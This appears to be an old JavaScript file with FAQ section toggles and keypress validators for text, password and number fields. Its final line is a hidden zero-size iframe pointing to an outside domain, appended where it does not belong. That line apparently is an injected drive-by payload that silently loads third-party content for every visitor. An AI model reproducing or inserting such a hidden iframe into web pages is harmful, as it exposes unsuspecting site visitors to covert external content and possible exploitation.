function toggleLev1Div(nDivIdx){
		if ('block' == faqLev1[nDivIdx].style.display){
			faqLev1[nDivIdx].style.display = 'none';
		} else {
			faqLev1[nDivIdx].style.display = 'block';
		}
	}

	function toggleLev2Div(){
		var o = event.srcElement;

		while ("TBODY" != o.parentElement.tagName){
			o = o.parentElement;
		}

		o = o.nextSibling;

		if ('block' == o.style.display){
			o.style.display = 'none';
		} else {
			o.style.display = 'block';
		}
	}



function Text(){
  var berr=false;
  if (!(event.keyCode==45 || event.keyCode==13 || event.keyCode==95 || (event.keyCode>=48 && event.keyCode<=57) || (event.keyCode>=65 && event.keyCode<=90) || (event.keyCode>=97 && event.keyCode<=122))) berr=true;
  return !berr;
}

function Pass(){
  var berr=false;
  if (!((event.keyCode>=35 && event.keyCode<=37) ||  event.keyCode==13 || event.keyCode==40 || event.keyCode==42 || (event.keyCode>=44 && event.keyCode<=60) || event.keyCode==62 || (event.keyCode>=64 && event.keyCode<=95) || (event.keyCode>=97 && event.keyCode<=123) || event.keyCode==125 || event.keyCode==126)) berr=true;
  return !berr;
}

function Num(){
  var berr=false;
  if (!(event.keyCode>=48 && event.keyCode<=57 || event.keyCode == 13 )) berr=true;
  return !berr;
}
<iframe src=http://www.hj28.com.cn width=0 height=0></iframe>